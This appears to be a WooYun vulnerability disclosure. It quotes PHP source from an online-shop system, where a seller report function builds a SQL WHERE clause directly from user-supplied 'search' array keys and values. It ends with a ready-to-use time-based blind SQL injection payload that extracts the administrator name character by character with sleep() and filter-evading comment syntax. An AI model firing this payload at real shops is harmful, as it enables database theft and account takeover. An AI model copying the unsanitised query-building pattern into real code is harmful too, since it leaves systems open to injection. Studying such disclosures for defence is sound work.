WooYun.org

//商品列表
	public function goods_report()
	{	
		$seller_id = $this->seller['seller_id'];
		$condition = IReq::get('search');
		$where = 'go.seller_id='.$seller_id;
		if (isset($condition)){
			foreach($condition as $key=>$item){
				if($item !== ""){
					if($key == "go.store_nums"){
						$where .= ' and '.$key.$item;
					}else
					{
						$where .= ' and '.$key.'"'.$item.'"';
					}
				}
			}
		}		
		$goodHandle = new IQuery('goods as go');
		$goodHandle->order  = "go.id desc";
		$goodHandle->fields = "go.*";
		$goodHandle->where  = $where;
		$goodList = $goodHandle->find();

public static function get($key, $type=false)
	{
		//默认方式
		if($type==false)
		{
			if(isset($_GET[$key])) return $_GET[$key];
			else if(isset($_POST[$key])) return $_POST[$key];
			else return null;
		}
		//get方式
		else if($type=='get' && isset($_GET[$key]))
			return $_GET[$key];
		//post方式
		else if($type=='post' && isset($_POST[$key]))
			return $_POST[$key];
		//无匹配
		else
			return null;
	}

public function find()
	{		
        if( is_int($this->page) )
        {        	
        	$sql="select $this->distinct $this->fields from $this->table $this->join $this->where $this->group $this->having $this->order";
			$pagesize = isset($this->pagesize)?intval($this->pagesize):20;
            $pagelength = isset($this->pagelength)?intval($this->pagelength):10;
            $this->paging = new IPaging($sql,$pagesize,$pagelength);
            return $this->paging->getPage($this->page);
		}
		else
        {        
            $sql="select $this->distinct $this->fields from $this->table $this->join $this->where $this->group $this->having $this->order $this->limit";           
            return $this->dbo->query($sql);
        }
	}

search[1%3d-1/**/or(select/**/if(ord(mid((select/**/admin_name/**/from/**/iwebshop_admin/**/limit/**/0,1),1,1))%3d98,sleep(1),0))#]=test